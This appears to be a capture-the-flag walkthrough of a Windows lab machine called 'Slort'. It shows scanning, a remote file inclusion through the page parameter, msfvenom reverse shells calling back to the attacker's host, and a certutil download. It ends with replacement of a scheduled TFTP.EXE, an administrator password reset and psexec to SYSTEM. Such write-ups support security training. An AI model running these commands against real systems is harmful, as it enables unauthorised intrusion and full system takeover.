# Slort

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2Fl9bKXKaXmKbvMwTnHD0m%2Fimage.png?alt=media&#x26;token=65bce938-637a-4a10-a192-f437bec458e0" alt=""><figcaption></figcaption></figure>

### Nmap

```bash
sudo nmap 192.168.230.53 -p- -sS -sV

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           FileZilla ftpd 0.9.41 beta
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3306/tcp  open  mysql?
4443/tcp  open  http          Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
5040/tcp  open  unknown
7680/tcp  open  pando-pub?
8080/tcp  open  http          Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
```

Both port 8080 and 4443 contain the same web directory redirecting both to the /dashboard/ directory for XAMPP.

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FT6RhQGuGayKcvJiKZaIT%2Fimage.png?alt=media&#x26;token=510a230a-b5cf-4865-8aee-767be16bc1e8" alt=""><figcaption></figcaption></figure>

Running `dirsearch.py` against the target reveals the /site page.

```
python3 dirsearch.py -u http://192.168.230.53:8080 -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 60 --full-url 
```

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FozopyZ9eN2a9NP1w00DV%2Fimage.png?alt=media&#x26;token=ce5466b6-385a-4b22-b292-4662a84b16a1" alt=""><figcaption></figcaption></figure>

The /site/index.php page:

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FopZhpqUcYAjSUraN2x0Q%2Fimage.png?alt=media&#x26;token=5e37a4d3-5f72-4006-809a-6f0f5c9d849f" alt=""><figcaption></figcaption></figure>

Paying close attention to the full address of the index.php page we can see the following:

```
http://192.168.230.53:8080/site/index.php?page=main.php
```

Looking at the part index.php?page=\<Value> we can test for RFI to see if vulnerable. I created a test.txt file on my attacking machine and then hosted the directory with a `Python SimpleHTTPServer`. Then browsed to the following:

```
http://192.168.230.53:8080/site/index.php?page=http://192.168.49.230/test.txt
```

This confirms RFI:

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FguXoWqIjWLWc0CdiUcFB%2Fimage.png?alt=media&#x26;token=a120d890-3891-4f97-991c-304a74fb7d16" alt=""><figcaption></figcaption></figure>

As we know we are running PHP we can generate a PHP reverse shell with `msfvenom` in order to catch a reverse shell using the RFI.

```
msfvenom -p php/reverse_php LHOST=192.168.49.230 LPORT=21 -f raw > phpreverseshell.php
```

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FC41J3aui8Lnbdn88rKT3%2Fimage.png?alt=media&#x26;token=1fe59bd9-5da5-48c9-ad23-8a894d5cb0dc" alt=""><figcaption></figcaption></figure>

Host this in the same directory as the `Python SimpleHTTPServer` and ensure the listening port is set to 21. Then in the browser browse to the shell we just generated.

```
http://192.168.230.53:8080/site/index.php?page=http://192.168.49.230/phpreverseshell.php
```

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2F49GZDzsscOo8QxLIXDXi%2Fimage.png?alt=media&#x26;token=d2c6aaec-f5dd-4cbe-8b9d-74778c3ed4db" alt=""><figcaption></figcaption></figure>

Once we are connected we are running as the user rupert. Looking through the C:\ root directory we have a folder called backup. Looking at the contents within and reading info.txt we see that the note mentions `TFTP.EXE` is executed every 5 minutes.

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FQk3PiZyxyTPsgJyTQHgs%2Fimage.png?alt=media&#x26;token=4746fbfd-d004-475c-813a-7e72ea0a0395" alt=""><figcaption></figcaption></figure>

I was able to delete `TFTP.EXE` which means we can replace it with a malicious shell. Knowing this we can generate a reverse shell with `msfvenom` and call it `TFTP.EXE`.

```
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.49.230 LPORT=21 -f exe > TFTP.EXE 
```

The shell was then uploaded with `certutil.exe`.

```
certutil.exe -f -urlcache -split http://192.168.49.230/TFTP.EXE
```

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FCIHpnkSmJ383GE1JtAPG%2Fimage.png?alt=media&#x26;token=a25ab0e1-9634-4bb9-9008-cdf39c9e51c8" alt=""><figcaption></figcaption></figure>

A `netcat` listener was set up on port 21 and after 5 minutes the `TFTP.EXE` was executed as part of the scheduled task and we receive an administrator shell.

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2F3os1mFSphAMQXJKu5zAf%2Fimage.png?alt=media&#x26;token=efa66ace-791f-4c08-ae55-611e1d1cc778" alt=""><figcaption></figcaption></figure>

As we are administrator we can then escalate to SYSTEM by fist changing the administrator password:

```
net user administrator Password123
```

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2F4xK5HBITbwlzAjVHygoA%2Fimage.png?alt=media&#x26;token=eb8e267c-28c8-4d5d-a6df-910cabb6bc08" alt=""><figcaption></figcaption></figure>

Then using `Psexec.py` to gain shell as SYSTEM.

```
sudo python2 psexec.py /administrator:Password123@192.168.230.53 
```

<figure><img src="https://3374622158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FE6qr56iNnQWIFa0iLTZX%2Fuploads%2FcFimCcGNVmNkliYtiLQp%2Fimage.png?alt=media&#x26;token=95ea4532-1c36-4a4d-8eec-da139d4fcd02" alt=""><figcaption></figcaption></figure>
